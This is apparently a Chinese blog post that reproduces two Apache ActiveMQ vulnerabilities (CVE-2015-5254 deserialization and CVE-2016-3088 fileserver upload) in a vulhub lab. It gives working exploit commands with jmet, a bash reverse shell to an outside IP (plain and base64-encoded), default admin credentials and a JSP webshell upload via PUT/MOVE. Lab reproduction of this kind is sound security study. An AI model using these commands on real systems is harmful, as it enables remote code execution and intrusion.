ActiveMQ漏洞复现

简介

漏洞环境:不做额外说明,漏洞环境均为vulhub

参考链接:

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。

activemq存在两个默认端口,8161是后台管理系统,61616是给java用的tcp端口。

CVE-2015-5254

参考链接:

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞影响范围:

  • Apache ActiveMQ 5.13.0之前的版本

漏洞复现

启动环境。

访问http://139.198.172.202:8161/admin/,默认账户和密码均为admin

漏洞利用过程共有三步:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送至目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用,下载jmetwget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,在同目录下创建external文件夹,否则可能会爆文件夹不存在的错误(但是我没有遇到欸)。

创建一个消息,并发送到服务端,命令如下:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 139.198.172.202 61616

如果没有报错,发送完成后,会给目标ActiveMQ添加一个名为事件的队列,可以我们通过 http://139.198.172.202:8161/admin/browse.jsp?JMSDestination=event 看到这个队列中所有消息:

点击查看这条消息,即可触发漏洞。点击消息并进入容器查看结果。

可以看到/tmp/success文件已被创建。

进行shell反弹,nc开启监听,执行如下命令:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/139.198.172.202/1234 0>&1" -Yp ROME 139.198.172.202 61616

其中,需要对bash -i >& /dev/tcp/139.198.172.202/1234 0>&1进行base64编码,网上说这是为了绕过java机制,却没说是什么机制,有点摸不着头脑。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk4LjE3Mi4yMDIvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 139.198.172.202 61616

漏洞修复

  • 更新到没有漏洞的版本

漏洞利用前提是管理员得访问攻击者伪造的事件才能利用成功,不知道生产环境下,事件多不多,如果比较多,还是比较看脸的。

CVE-2016-3088

参考链接:

该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。

漏洞影响版本:

  • Apache ActiveMQ 5.0.0 - 5.13.2

漏洞复现

启动环境。

访问http://139.198.172.202:8161/admin/,默认账户和密码均为admin

获取系统当前路径:http://139.198.172.202:8161/admin/test/systemProperties.jsp

刷新页面,并使用burp拦截抓包,修改请求方式、请求URI等用来上传jsp小马。

直接访问该页面,发现该页面直接显示出来,没有被解析,说明fileserver目录下没有执行权限。

通过MOVE方式,将其移动到api目录下(Destination: file:///opt/activemq/webapps/api/1.jsp),成功会返回204 No Content

jb51的参考链接中,他利用了一个物理路径泄露的漏洞,但是我没有复现成功。

执行命令。

http://139.198.172.202:8161/api/1.jsp?cmd=id

漏洞修复

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/15151937.html